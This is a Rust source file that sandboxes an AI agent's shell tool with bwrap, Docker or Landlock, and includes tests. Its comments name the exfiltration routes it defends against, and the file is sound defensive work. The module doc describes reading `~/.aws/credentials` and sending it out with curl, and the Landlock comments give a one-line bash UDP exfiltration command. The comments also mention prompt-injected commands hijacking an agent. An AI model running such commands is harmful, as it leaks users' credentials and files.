Skip to main content

mecha_core/
sandbox.rs

1//! Confining `shell`.
2//!
3//! Every other tool is bounded by [`ToolCtx::resolve`](crate::tool::ToolCtx),
4//! which proves a path stays inside the workspace before touching it. `shell`
5//! cannot work that way: the path jail cannot see inside `bash -c`, and a
6//! command is free to `cd /`, read `~/.aws/credentials`, and `curl` it out.
7//! The capability model has always said so — `shell` is marked
8//! private + sends + destructive — but saying it is not enforcing it.
9//!
10//! This is the enforcement. A sandboxed `shell` gets the workspace and a
11//! read-only system, no home directory, no environment, and by default no
12//! network.
13//!
14//! ## The rule that matters
15//!
16//! **A configured sandbox that does not work must stop the run, never quietly
17//! degrade.** Falling back to unconfined execution when `bwrap` is missing is
18//! worse than having no sandbox at all: the operator believes commands are
19//! confined and writes policy on that belief. So [`Sandbox::preflight`] runs a
20//! real command through the real backend, and a failure is an error with
21//! instructions rather than a warning.
22//!
23//! ## What this is not
24//!
25//! Not a security boundary against a determined kernel exploit. It is the
26//! difference between "an injected command can read your SSH keys" and "an
27//! injected command can read the files you pointed the agent at", which is the
28//! difference that decides whether an agent can be woken by an email.
29
30use anyhow::{Context, Result};
31use serde::{Deserialize, Serialize};
32use std::path::{Path, PathBuf};
33
34/// Push a run of arguments. A closure would borrow the vector for its whole
35/// lifetime, which collides with the interleaved dynamic pushes below.
36macro_rules! args {
37    ($v:expr, $($s:expr),+ $(,)?) => {{ $( $v.push($s.to_string()); )+ }};
38}
39
40/// How commands are confined.
41#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
42#[serde(rename_all = "lowercase")]
43pub enum Backend {
44    /// Run directly, as you, with your credentials. The historical behaviour,
45    /// and the only sane default for a supervised CLI on a machine where the
46    /// alternatives may not be installed.
47    #[default]
48    None,
49    /// User namespaces via `bwrap`. Cheap — no daemon, a few milliseconds —
50    /// and the right choice where unprivileged user namespaces are permitted.
51    Bwrap,
52    /// A throwaway container. Works where user namespaces are locked down,
53    /// costs a container start per command.
54    Docker,
55    /// Landlock LSM rules applied to the child process itself — no wrapper
56    /// binary, no namespaces, no daemon, and crucially **no privilege**: it
57    /// works on Ubuntu 23.10+ where AppArmor blocks unprivileged user
58    /// namespaces and `bwrap` fails even installed.
59    ///
60    /// The trade is scope, and it is not negotiable, so it is priced into
61    /// the capability predicates rather than left to memory: Landlock
62    /// confines *files* (kernel 6.2+ for a complete write story — rename,
63    /// link, truncate). It cannot close the network — TCP bind/connect are
64    /// deniable on kernel 6.7+ and are denied when `network = false`, but
65    /// UDP is not restrictable at any ABI, and `echo x > /dev/udp/host/port`
66    /// is a working exfiltration route in bash alone. So a landlocked
67    /// `shell` **never earns the interlock relaxation**
68    /// ([`Sandbox::can_reach_network`] stays true), and what the backend
69    /// buys is the other half of the module's closing sentence: an injected
70    /// command reads the files you pointed the agent at, not your SSH keys
71    /// or `~/.mecha`. Weaker than `bwrap` in three more ways worth knowing:
72    /// `/tmp` is shared rather than private, `/proc` shows every process,
73    /// and there is no PID/IPC isolation.
74    Landlock,
75}
76
77impl Backend {
78    pub fn as_str(self) -> &'static str {
79        match self {
80            Backend::None => "none",
81            Backend::Bwrap => "bwrap",
82            Backend::Docker => "docker",
83            Backend::Landlock => "landlock",
84        }
85    }
86}
87
88#[derive(Debug, Clone, Serialize, Deserialize)]
89#[serde(default, deny_unknown_fields)]
90pub struct SandboxConfig {
91    pub kind: Backend,
92    /// Let confined commands reach the network.
93    ///
94    /// Off by default, and this is the single most valuable line in the file:
95    /// with it off, `shell` stops being an exfiltration route, which is what
96    /// lets the trifecta interlock relax rather than tighten.
97    pub network: bool,
98    /// Extra paths mounted writable, on top of the workspace.
99    pub writable: Vec<PathBuf>,
100    /// Extra paths mounted read-only. Use for a toolchain or a cache that
101    /// lives outside the workspace.
102    pub readable: Vec<PathBuf>,
103    /// Environment variables passed through by name. Nothing else survives —
104    /// an allowlist, because the interesting variables are the secret ones.
105    pub env: Vec<String>,
106    /// Container image for the `docker` backend.
107    pub image: String,
108    /// Memory ceiling in megabytes (`docker` only).
109    pub memory_mb: Option<u64>,
110    /// CPU ceiling (`docker` only), e.g. `2.0`.
111    pub cpus: Option<f64>,
112}
113
114impl Default for SandboxConfig {
115    fn default() -> Self {
116        SandboxConfig {
117            kind: Backend::None,
118            network: false,
119            writable: Vec::new(),
120            readable: Vec::new(),
121            env: Vec::new(),
122            // Small, ubiquitous, and has a shell and coreutils. Anything the
123            // agent actually needs to build with should be a different image.
124            image: "debian:stable-slim".into(),
125            memory_mb: None,
126            cpus: None,
127        }
128    }
129}
130
131#[derive(Debug, Clone, Default)]
132pub struct Sandbox {
133    cfg: SandboxConfig,
134}
135
136impl Sandbox {
137    pub fn new(cfg: SandboxConfig) -> Self {
138        Sandbox { cfg }
139    }
140
141    pub fn backend(&self) -> Backend {
142        self.cfg.kind
143    }
144
145    /// The same policy with the network decided differently.
146    ///
147    /// Exists because network is otherwise one switch for everything, and the
148    /// common case wants them split: a third-party MCP server that has to reach
149    /// its own API, confined, while `shell` still has no way out. Sharing one
150    /// flag would mean opening `shell` to satisfy the server.
151    pub fn with_network(&self, network: bool) -> Self {
152        Sandbox {
153            cfg: SandboxConfig {
154                network,
155                ..self.cfg.clone()
156            },
157        }
158    }
159
160    pub fn is_enabled(&self) -> bool {
161        self.cfg.kind != Backend::None
162    }
163
164    /// Can a confined command still reach off this machine?
165    ///
166    /// This is what decides whether `shell` counts as an `external_send` sink.
167    /// Unconfined, it always can. Confined without network, it cannot — and the
168    /// interlock should stop treating it as a way out, because it isn't one.
169    pub fn can_reach_network(&self) -> bool {
170        match self.cfg.kind {
171            Backend::None => true,
172            // Landlock cannot close the network, only narrow it: TCP
173            // bind/connect are denied where the kernel supports it (6.7+),
174            // but UDP is not restrictable at any ABI, and bash alone can
175            // send over it. A partial restriction must never earn the
176            // interlock relaxation — the answer here is what `shell`'s
177            // `external_send` believes, and believing a hole closed because
178            // it narrowed is the silently-degrading-sandbox shape.
179            Backend::Landlock => true,
180            _ => self.cfg.network,
181        }
182    }
183
184    /// Can a confined command read data outside the workspace?
185    ///
186    /// Unconfined it reads your whole home directory. Confined it sees the
187    /// workspace and a read-only system — the same reach `fs_read` already has,
188    /// which is classified `private` on the same reasoning.
189    pub fn reaches_beyond_workspace(&self) -> bool {
190        !self.is_enabled() || !self.cfg.writable.is_empty() || !self.cfg.readable.is_empty()
191    }
192
193    /// Build the process that will run `command`.
194    ///
195    /// `workspace` is mounted writable; `cwd` must be inside it — the caller has
196    /// already proved that through `ToolCtx::resolve`.
197    pub fn command(
198        &self,
199        command: &str,
200        workspace: &Path,
201        cwd: &Path,
202    ) -> Result<tokio::process::Command> {
203        match self.cfg.kind {
204            Backend::None => {
205                let mut c = tokio::process::Command::new("bash");
206                c.arg("-lc").arg(command).current_dir(cwd);
207                Ok(c)
208            }
209            _ => self.wrap_argv("bash", &["-lc".into(), command.into()], workspace, cwd),
210        }
211    }
212
213    /// Confine an explicit argv, with no shell in between.
214    ///
215    /// For long-lived children — an MCP server — where routing through
216    /// `bash -lc` would mean quoting caller-supplied arguments correctly, and
217    /// getting that wrong is a command-injection bug rather than a typo.
218    pub fn wrap_argv(
219        &self,
220        program: &str,
221        args: &[String],
222        workspace: &Path,
223        cwd: &Path,
224    ) -> Result<tokio::process::Command> {
225        match self.cfg.kind {
226            Backend::None => {
227                let mut c = tokio::process::Command::new(program);
228                c.args(args).current_dir(cwd);
229                Ok(c)
230            }
231            Backend::Bwrap => {
232                let mut c = tokio::process::Command::new("bwrap");
233                c.args(self.bwrap_args(workspace, cwd)?);
234                c.arg("--").arg(program).args(args);
235                Ok(c)
236            }
237            Backend::Docker => {
238                let mut c = tokio::process::Command::new("docker");
239                c.args(self.docker_args(workspace, cwd)?);
240                c.arg(program).args(args);
241                Ok(c)
242            }
243            Backend::Landlock => self.landlock_command(program, args, workspace, cwd),
244        }
245    }
246
247    /// Landlock has no wrapper argv: the rules are applied *in the child*,
248    /// between fork and exec. Two disciplines carry the arm:
249    ///
250    /// - **Everything that allocates happens in the parent.** The ruleset —
251    ///   path descriptors, syscally but heap-using construction — is built
252    ///   here; the `pre_exec` closure runs post-fork in a process whose heap
253    ///   may hold another thread's lock, so it makes raw syscalls only
254    ///   (`restrict_self` is a `prctl` plus one landlock syscall).
255    /// - **Enforcement is checked where it happens.** `restrict_self` reports
256    ///   what the kernel actually enforced, and `NotEnforced` fails the spawn
257    ///   rather than running the command unconfined — the per-call form of
258    ///   the preflight rule.
259    #[cfg(target_os = "linux")]
260    fn landlock_command(
261        &self,
262        program: &str,
263        args: &[String],
264        workspace: &Path,
265        cwd: &Path,
266    ) -> Result<tokio::process::Command> {
267        use landlock::RulesetStatus;
268
269        let workspace = absolute(workspace)?;
270        let ruleset = self.landlock_ruleset(&workspace)?;
271
272        let mut c = tokio::process::Command::new(program);
273        c.args(args).current_dir(absolute(cwd)?);
274
275        // The same environment discipline as bwrap: nothing survives unless
276        // named. HOME is the workspace, so `~` expansion lands somewhere the
277        // rules allow — the real home is denied wholesale below.
278        c.env_clear();
279        c.env(
280            "PATH",
281            "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
282        );
283        c.env("HOME", workspace.as_os_str());
284        for name in &self.cfg.env {
285            if let Ok(value) = std::env::var(name) {
286                c.env(name, value);
287            }
288        }
289
290        let mut ruleset = Some(ruleset);
291        unsafe {
292            c.pre_exec(move || {
293                // `take()` mutates the child's copy-on-write memory only, so
294                // a Command spawned twice hands each child a live ruleset.
295                let rs = ruleset
296                    .take()
297                    .ok_or_else(|| std::io::Error::other("landlock ruleset already consumed"))?;
298                let status = rs.restrict_self().map_err(std::io::Error::other)?;
299                if status.ruleset == RulesetStatus::NotEnforced {
300                    return Err(std::io::Error::other(
301                        "the kernel did not enforce the landlock ruleset",
302                    ));
303                }
304                Ok(())
305            });
306        }
307        Ok(c)
308    }
309
310    #[cfg(not(target_os = "linux"))]
311    fn landlock_command(
312        &self,
313        _program: &str,
314        _args: &[String],
315        _workspace: &Path,
316        _cwd: &Path,
317    ) -> Result<tokio::process::Command> {
318        anyhow::bail!("the landlock sandbox is Linux-only; use `kind = \"docker\"` here")
319    }
320
321    /// The policy, as a ready-to-apply ruleset.
322    ///
323    /// Filesystem access is a **hard requirement at ABI 3** (kernel 6.2):
324    /// below that the kernel cannot restrict truncation (or, below 2,
325    /// rename-and-link), which is a write hole wide enough to make the
326    /// confinement a fiction — better to refuse than to half-work, exactly
327    /// as with a `bwrap` that cannot create namespaces. The TCP denial is
328    /// best-effort on top (ABI 4, kernel 6.7): a real narrowing worth
329    /// having, and *not* load-bearing, because `can_reach_network` never
330    /// credits it.
331    #[cfg(target_os = "linux")]
332    fn landlock_ruleset(&self, workspace: &Path) -> Result<landlock::RulesetCreated> {
333        use landlock::{
334            Access, AccessFs, AccessNet, CompatLevel, Compatible, PathBeneath, PathFd, Ruleset,
335            RulesetAttr, RulesetCreatedAttr, ABI,
336        };
337
338        let abi = ABI::V3;
339        let read = AccessFs::from_read(abi);
340        let full = AccessFs::from_all(abi);
341
342        let base = Ruleset::default()
343            .set_compatibility(CompatLevel::HardRequirement)
344            .handle_access(full)
345            .context("this kernel cannot enforce the landlock file policy (needs 6.2+)")?;
346        let mut created = if self.cfg.network {
347            base.create()
348        } else {
349            base.set_compatibility(CompatLevel::BestEffort)
350                .handle_access(AccessNet::BindTcp | AccessNet::ConnectTcp)
351                .context("declaring the TCP restriction")?
352                .create()
353        }
354        .context("creating the landlock ruleset")?;
355
356        // The system, readable and executable — the same set bwrap binds
357        // read-only, plus /run because /etc/resolv.conf is usually a symlink
358        // into it. A path that does not exist contributes no rule, exactly
359        // like `--ro-bind-try`.
360        for dir in [
361            "/usr", "/etc", "/opt", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/proc", "/run",
362        ] {
363            if let Ok(fd) = PathFd::new(dir) {
364                created = created.add_rule(PathBeneath::new(fd, read))?;
365            }
366        }
367        for path in &self.cfg.readable {
368            if let Ok(fd) = PathFd::new(path) {
369                created = created.add_rule(PathBeneath::new(fd, read))?;
370            }
371        }
372
373        // Writable: the workspace (an error if unopenable — confining a
374        // command to a workspace that does not exist is a configuration
375        // problem, not a rule to skip), extra writable paths, /dev for the
376        // sinks everything needs (`/dev/null` first), and /tmp — shared, not
377        // private; the honest cost of having no mount namespace, and one of
378        // the documented ways this backend is weaker than bwrap.
379        created = created.add_rule(PathBeneath::new(
380            PathFd::new(workspace)
381                .with_context(|| format!("opening the workspace {}", workspace.display()))?,
382            full,
383        ))?;
384        for path in &self.cfg.writable {
385            if let Ok(fd) = PathFd::new(path) {
386                created = created.add_rule(PathBeneath::new(fd, full))?;
387            }
388        }
389        for dir in ["/dev", "/tmp"] {
390            if let Ok(fd) = PathFd::new(dir) {
391                created = created.add_rule(PathBeneath::new(fd, full))?;
392            }
393        }
394
395        Ok(created)
396    }
397
398    /// The environment a child should get, given a passthrough allowlist.
399    ///
400    /// Inheriting mecha's environment hands a third-party process every secret
401    /// you have exported — provider keys first among them. So the rule is the
402    /// same as inside the sandbox: a minimal base, plus what was named.
403    ///
404    /// `HOME` and `PATH` are in the base because without them most runtimes
405    /// (node, python) cannot find their own modules, and a server that cannot
406    /// start teaches the operator to turn this off.
407    pub fn child_env(passthrough: &[String]) -> Vec<(String, String)> {
408        const BASE: [&str; 5] = ["PATH", "HOME", "LANG", "LC_ALL", "TZ"];
409
410        BASE.iter()
411            .map(|s| s.to_string())
412            .chain(passthrough.iter().cloned())
413            .filter_map(|name| std::env::var(&name).ok().map(|v| (name, v)))
414            .collect()
415    }
416
417    /// Arguments up to (but not including) the command itself. Split out so the
418    /// policy can be asserted on in tests without spawning anything.
419    pub fn bwrap_args(&self, workspace: &Path, cwd: &Path) -> Result<Vec<String>> {
420        let mut a: Vec<String> = Vec::new();
421
422        // `--die-with-parent` so a wedged command cannot outlive mecha.
423        // `--new-session` detaches the controlling terminal, which blocks the
424        // TIOCSTI trick of pushing characters into the parent's input queue.
425        args!(
426            a,
427            "--die-with-parent",
428            "--new-session",
429            "--unshare-user",
430            "--unshare-pid",
431            "--unshare-ipc",
432            "--unshare-uts",
433            "--unshare-cgroup-try",
434        );
435        if !self.cfg.network {
436            args!(a, "--unshare-net");
437        }
438
439        // The system, read-only. `/bin`, `/lib` and friends are symlinks into
440        // `/usr` on merged systems and real directories on older ones, so ask
441        // rather than assume — binding a symlink as a directory fails.
442        for dir in ["/usr", "/etc", "/opt"] {
443            if Path::new(dir).is_dir() {
444                args!(a, "--ro-bind-try", dir, dir);
445            }
446        }
447        for dir in ["/bin", "/sbin", "/lib", "/lib32", "/lib64"] {
448            match std::fs::symlink_metadata(dir) {
449                Ok(meta) if meta.file_type().is_symlink() => {
450                    let target = std::fs::read_link(dir)?;
451                    args!(a, "--symlink", target.to_string_lossy(), dir);
452                }
453                Ok(_) => args!(a, "--ro-bind-try", dir, dir),
454                Err(_) => {}
455            }
456        }
457
458        // A private /tmp, so a command cannot leave anything behind for the
459        // next one or read what the last one left.
460        args!(a, "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp");
461
462        for path in &self.cfg.readable {
463            args!(a, "--ro-bind-try", path.display(), path.display());
464        }
465
466        let workspace = absolute(workspace)?;
467        args!(a, "--bind", workspace.display(), workspace.display());
468        for path in &self.cfg.writable {
469            args!(a, "--bind-try", path.display(), path.display());
470        }
471
472        args!(a, "--chdir", absolute(cwd)?.display());
473
474        // Nothing from the parent environment survives unless it is named.
475        // API keys live in the environment; a confined command that inherits
476        // them is confined in the least interesting way.
477        args!(
478            a,
479            "--clearenv",
480            "--setenv",
481            "PATH",
482            "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
483            "--setenv",
484            "HOME",
485            workspace.display(),
486        );
487        for name in &self.cfg.env {
488            if let Ok(value) = std::env::var(name) {
489                args!(a, "--setenv", name, value);
490            }
491        }
492
493        Ok(a)
494    }
495
496    /// Arguments up to (but not including) the command itself.
497    pub fn docker_args(&self, workspace: &Path, cwd: &Path) -> Result<Vec<String>> {
498        let workspace = absolute(workspace)?;
499        let mut a: Vec<String> = Vec::new();
500        args!(a, "run", "--rm", "-i");
501
502        args!(
503            a,
504            "--network",
505            if self.cfg.network { "bridge" } else { "none" }
506        );
507
508        // Root inside a container writing into a bind-mounted workspace leaves
509        // root-owned files behind on the host, which the user then cannot
510        // delete. Run as the caller.
511        #[cfg(unix)]
512        {
513            let (uid, gid) = unsafe { (libc::getuid(), libc::getgid()) };
514            args!(a, "--user", format!("{uid}:{gid}"));
515        }
516
517        args!(
518            a,
519            "--security-opt",
520            "no-new-privileges",
521            "--cap-drop",
522            "ALL"
523        );
524
525        if let Some(mb) = self.cfg.memory_mb {
526            args!(a, "--memory", format!("{mb}m"));
527        }
528        if let Some(cpus) = self.cfg.cpus {
529            args!(a, "--cpus", cpus);
530        }
531
532        for path in &self.cfg.readable {
533            args!(a, "-v", format!("{}:{}:ro", path.display(), path.display()));
534        }
535        args!(
536            a,
537            "-v",
538            format!("{}:{}", workspace.display(), workspace.display())
539        );
540        for path in &self.cfg.writable {
541            args!(a, "-v", format!("{}:{}", path.display(), path.display()));
542        }
543
544        args!(a, "-w", absolute(cwd)?.display());
545
546        for name in &self.cfg.env {
547            if let Ok(value) = std::env::var(name) {
548                args!(a, "-e", format!("{name}={value}"));
549            }
550        }
551
552        args!(a, self.cfg.image);
553        Ok(a)
554    }
555
556    /// Prove the sandbox actually works, by running something through it.
557    ///
558    /// Called once at startup rather than on the first tool call, so a
559    /// misconfiguration is a clear message at launch instead of a confusing
560    /// tool error twenty turns into a run.
561    pub async fn preflight(&self, workspace: &Path) -> Result<()> {
562        if !self.is_enabled() {
563            return Ok(());
564        }
565
566        let marker = "mecha-sandbox-ok";
567        let mut command = self
568            .command(&format!("echo {marker}"), workspace, workspace)
569            .context("building the sandbox command")?;
570
571        let output = tokio::time::timeout(
572            std::time::Duration::from_secs(60),
573            command.stdin(std::process::Stdio::null()).output(),
574        )
575        .await
576        .map_err(|_| anyhow::anyhow!("the {} sandbox timed out starting", self.cfg.kind.as_str()))?
577        .with_context(|| {
578            format!(
579                "cannot run `{}` — is it installed?",
580                match self.cfg.kind {
581                    Backend::Docker => "docker",
582                    // Landlock spawns bash directly; what fails here is the
583                    // ruleset in pre_exec, not a missing wrapper binary.
584                    Backend::Landlock => "bash",
585                    _ => "bwrap",
586                }
587            )
588        })?;
589
590        if output.status.success() && String::from_utf8_lossy(&output.stdout).contains(marker) {
591            self.prove_landlock_containment(workspace).await?;
592            return Ok(());
593        }
594
595        let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string();
596        anyhow::bail!(
597            "the {} sandbox does not work here: {}{}",
598            self.cfg.kind.as_str(),
599            if stderr.is_empty() {
600                "no output".into()
601            } else {
602                stderr.clone()
603            },
604            diagnose(self.cfg.kind, &stderr)
605        )
606    }
607
608    /// The half of the landlock preflight `echo` cannot cover.
609    ///
610    /// A working `echo` proves the ruleset *applied*; it does not prove the
611    /// rules deny anything, and "confined" with nothing denied is the state
612    /// this file exists to forbid. So plant a file in the real home — which
613    /// is precisely what this backend claims to protect — and require the
614    /// confined command to fail to read it. Skipped only where it would be
615    /// vacuous: no home, an unwritable home, or a home inside the workspace,
616    /// each of which leaves nothing to prove rather than something unproven.
617    async fn prove_landlock_containment(&self, workspace: &Path) -> Result<()> {
618        if self.cfg.kind != Backend::Landlock {
619            return Ok(());
620        }
621        let Some(home) = dirs::home_dir() else {
622            return Ok(());
623        };
624        let probe = home.join(format!(".mecha-landlock-probe-{}", uuid::Uuid::new_v4()));
625        let ws = workspace
626            .canonicalize()
627            .unwrap_or_else(|_| workspace.to_path_buf());
628        if probe.starts_with(&ws) {
629            return Ok(());
630        }
631        if std::fs::write(&probe, "canary").is_err() {
632            return Ok(());
633        }
634
635        let read = async {
636            let mut command = self
637                .command(&format!("cat '{}'", probe.display()), workspace, workspace)
638                .context("building the containment probe")?;
639            let out = command
640                .stdin(std::process::Stdio::null())
641                .output()
642                .await
643                .context("running the containment probe")?;
644            anyhow::Ok(out.status.success())
645        }
646        .await;
647        std::fs::remove_file(&probe).ok();
648
649        if read? {
650            anyhow::bail!(
651                "the landlock sandbox is not actually confining: a confined command read \
652                 {} — a file outside every rule. Refusing to run with decorative \
653                 confinement; use `kind = \"bwrap\"` or `\"docker\"`, and please report \
654                 this.",
655                probe.display()
656            );
657        }
658        Ok(())
659    }
660}
661
662/// Whether this kernel can enforce the file policy the landlock backend
663/// requires (Landlock ABI 3, kernel 6.2+). For tests and any surface that
664/// wants to suggest the backend only where it would preflight. Creating a
665/// ruleset restricts nothing — the fd is dropped unapplied.
666pub fn landlock_supported() -> bool {
667    #[cfg(target_os = "linux")]
668    {
669        use landlock::{Access, AccessFs, CompatLevel, Compatible, Ruleset, RulesetAttr, ABI};
670        Ruleset::default()
671            .set_compatibility(CompatLevel::HardRequirement)
672            .handle_access(AccessFs::from_all(ABI::V3))
673            .and_then(|r| r.create())
674            .is_ok()
675    }
676    #[cfg(not(target_os = "linux"))]
677    false
678}
679
680/// Turn a backend's error into something the operator can act on.
681///
682/// The Ubuntu 24.04 case is the one worth spelling out: `bwrap` is installed,
683/// `unprivileged_userns_clone` is 1, and it still fails, because AppArmor
684/// gained a separate switch that nothing mentions.
685fn diagnose(kind: Backend, stderr: &str) -> String {
686    match kind {
687        Backend::Bwrap if stderr.contains("uid map") || stderr.contains("user namespace") => {
688            "\n\nUnprivileged user namespaces are blocked. On Ubuntu 23.10+ this is \
689             usually AppArmor rather than the kernel:\n  \
690             sysctl kernel.apparmor_restrict_unprivileged_userns   # 1 means blocked\n\
691             Either install an AppArmor profile for bwrap, or set \
692             `kernel.apparmor_restrict_unprivileged_userns=0` (system-wide, weaker), \
693             or use `kind = \"docker\"` instead."
694                .into()
695        }
696        Backend::Bwrap if stderr.contains("loopback") => {
697            "\n\nbwrap could not configure loopback in the new network namespace. \
698             Set `network = true` to share the host's, or use `kind = \"docker\"`."
699                .into()
700        }
701        Backend::Docker if stderr.contains("permission denied") => {
702            "\n\nThe docker socket is not accessible. Add yourself to the `docker` \
703             group, or use `kind = \"bwrap\"`."
704                .into()
705        }
706        Backend::Docker => {
707            "\n\nCheck the image exists (`docker pull <image>`) and the daemon is running.".into()
708        }
709        Backend::Landlock => "\n\nLandlock needs the LSM enabled on a 6.2+ kernel: `cat \
710             /sys/kernel/security/lsm` should include `landlock`. Where it is \
711             unavailable, use `kind = \"bwrap\"` or `\"docker\"`."
712            .into(),
713        _ => String::new(),
714    }
715}
716
717fn absolute(path: &Path) -> Result<PathBuf> {
718    path.canonicalize()
719        .with_context(|| format!("cannot resolve {}", path.display()))
720}
721
722#[cfg(test)]
723mod tests {
724    use super::*;
725
726    fn cfg(kind: Backend) -> SandboxConfig {
727        SandboxConfig {
728            kind,
729            ..SandboxConfig::default()
730        }
731    }
732
733    #[test]
734    fn a_disabled_sandbox_runs_bash_directly() {
735        let sandbox = Sandbox::new(cfg(Backend::None));
736        assert!(!sandbox.is_enabled());
737        // Nothing is confined, so every capability `shell` declares still holds.
738        assert!(sandbox.can_reach_network());
739        assert!(sandbox.reaches_beyond_workspace());
740    }
741
742    #[test]
743    fn confinement_without_network_closes_the_exfiltration_route() {
744        let sandbox = Sandbox::new(cfg(Backend::Bwrap));
745        assert!(!sandbox.can_reach_network());
746        assert!(!sandbox.reaches_beyond_workspace());
747
748        // ...and asking for the network opens it again. This is the whole
749        // basis for relaxing the interlock, so it must not be sloppy.
750        let sandbox = Sandbox::new(SandboxConfig {
751            network: true,
752            ..cfg(Backend::Bwrap)
753        });
754        assert!(sandbox.can_reach_network());
755    }
756
757    /// The single most load-bearing fact about the landlock backend: it
758    /// never earns the interlock relaxation, because UDP stays open at every
759    /// ABI. If this test starts failing, someone made a partial network
760    /// restriction count as a closed one — the exact bug the backend's
761    /// design forbids.
762    #[test]
763    fn landlock_never_earns_the_network_narrowing() {
764        let sandbox = Sandbox::new(cfg(Backend::Landlock));
765        assert!(sandbox.is_enabled());
766        assert!(
767            sandbox.can_reach_network(),
768            "a landlocked shell must stay an external_send sink"
769        );
770        // Even asked for explicitly: `network = false` narrows TCP where the
771        // kernel can, and still must not read as a closed network.
772        let explicit = Sandbox::new(SandboxConfig {
773            network: false,
774            ..cfg(Backend::Landlock)
775        });
776        assert!(explicit.can_reach_network());
777    }
778
779    #[test]
780    fn a_bind_outside_the_workspace_is_still_reach_beyond_it() {
781        let sandbox = Sandbox::new(SandboxConfig {
782            readable: vec![PathBuf::from("/opt/toolchain")],
783            ..cfg(Backend::Bwrap)
784        });
785        assert!(
786            sandbox.reaches_beyond_workspace(),
787            "an extra bind is exactly how private data gets back in reach"
788        );
789    }
790
791    #[test]
792    fn bwrap_confines_the_environment_and_the_network() {
793        let workspace = std::env::temp_dir();
794        let args = Sandbox::new(cfg(Backend::Bwrap))
795            .bwrap_args(&workspace, &workspace)
796            .unwrap();
797
798        assert!(
799            args.contains(&"--unshare-net".into()),
800            "no network by default"
801        );
802        assert!(
803            args.contains(&"--clearenv".into()),
804            "the parent env must not leak"
805        );
806        assert!(args.contains(&"--unshare-user".into()));
807        assert!(args.contains(&"--die-with-parent".into()));
808        // Blocks TIOCSTI input injection into the parent's terminal.
809        assert!(args.contains(&"--new-session".into()));
810
811        // The workspace is the only writable bind.
812        let workspace = workspace.canonicalize().unwrap();
813        let binds: Vec<_> = args
814            .iter()
815            .enumerate()
816            .filter(|(_, a)| *a == "--bind")
817            .map(|(i, _)| args[i + 1].clone())
818            .collect();
819        assert_eq!(binds, vec![workspace.display().to_string()]);
820    }
821
822    #[test]
823    fn network_is_shared_only_when_asked_for() {
824        let workspace = std::env::temp_dir();
825        let args = Sandbox::new(SandboxConfig {
826            network: true,
827            ..cfg(Backend::Bwrap)
828        })
829        .bwrap_args(&workspace, &workspace)
830        .unwrap();
831        assert!(!args.contains(&"--unshare-net".into()));
832    }
833
834    #[test]
835    fn docker_drops_privileges_and_the_network() {
836        let workspace = std::env::temp_dir();
837        let args = Sandbox::new(cfg(Backend::Docker))
838            .docker_args(&workspace, &workspace)
839            .unwrap();
840
841        assert_eq!(args[0], "run");
842        assert!(
843            args.contains(&"--rm".into()),
844            "containers must not accumulate"
845        );
846        assert!(args
847            .windows(2)
848            .any(|w| w[0] == "--network" && w[1] == "none"));
849        assert!(args
850            .windows(2)
851            .any(|w| w[0] == "--cap-drop" && w[1] == "ALL"));
852        assert!(args
853            .windows(2)
854            .any(|w| w[0] == "--security-opt" && w[1] == "no-new-privileges"));
855        // Running as root would leave root-owned files in the user's workspace.
856        assert!(args.iter().any(|a| a == "--user"));
857    }
858
859    #[test]
860    fn a_child_inherits_only_the_base_and_what_was_named() {
861        // The leak this closes: `Command::envs()` adds to the inherited
862        // environment rather than replacing it, so an MCP server used to start
863        // holding every provider key mecha had. Nothing crosses now unless the
864        // config named it.
865        std::env::set_var("MECHA_TEST_TOKEN", "sk-should-not-cross");
866        std::env::set_var("MECHA_TEST_WANTED", "fine");
867
868        let names: Vec<String> = Sandbox::child_env(&["MECHA_TEST_WANTED".into()])
869            .into_iter()
870            .map(|(k, _)| k)
871            .collect();
872
873        assert!(names.contains(&"MECHA_TEST_WANTED".to_string()));
874        assert!(
875            !names.contains(&"MECHA_TEST_TOKEN".to_string()),
876            "an unnamed variable must not reach a third-party process"
877        );
878        // PATH and HOME are the base: without them most runtimes cannot start,
879        // and a server that will not start teaches people to turn this off.
880        assert!(names.contains(&"PATH".to_string()));
881        assert!(names.contains(&"HOME".to_string()));
882    }
883
884    #[test]
885    fn wrapping_an_argv_does_not_route_through_a_shell() {
886        // A server's args are config, but quoting them into `bash -lc` would
887        // still be a command-injection bug waiting for one entry with a space.
888        let workspace = std::env::temp_dir();
889        let sandbox = Sandbox::new(cfg(Backend::Bwrap));
890        let command = sandbox
891            .wrap_argv(
892                "node",
893                &["server.js".into(), "--flag with space".into()],
894                &workspace,
895                &workspace,
896            )
897            .unwrap();
898
899        let argv: Vec<_> = command
900            .as_std()
901            .get_args()
902            .map(|a| a.to_string_lossy().into_owned())
903            .collect();
904        assert!(
905            !argv.iter().any(|a| a == "-lc"),
906            "no shell should be involved"
907        );
908        assert!(
909            argv.contains(&"--flag with space".to_string()),
910            "args stay one argv entry"
911        );
912    }
913
914    #[test]
915    fn only_named_environment_variables_cross_the_boundary() {
916        std::env::set_var("MECHA_TEST_ALLOWED", "yes");
917        std::env::set_var("MECHA_TEST_SECRET", "no");
918
919        let workspace = std::env::temp_dir();
920        let sandbox = Sandbox::new(SandboxConfig {
921            env: vec!["MECHA_TEST_ALLOWED".into()],
922            ..cfg(Backend::Bwrap)
923        });
924        let args = sandbox.bwrap_args(&workspace, &workspace).unwrap();
925
926        assert!(args.contains(&"MECHA_TEST_ALLOWED".into()));
927        assert!(
928            !args.iter().any(|a| a == "MECHA_TEST_SECRET" || a == "no"),
929            "an unlisted variable must not cross"
930        );
931    }
932}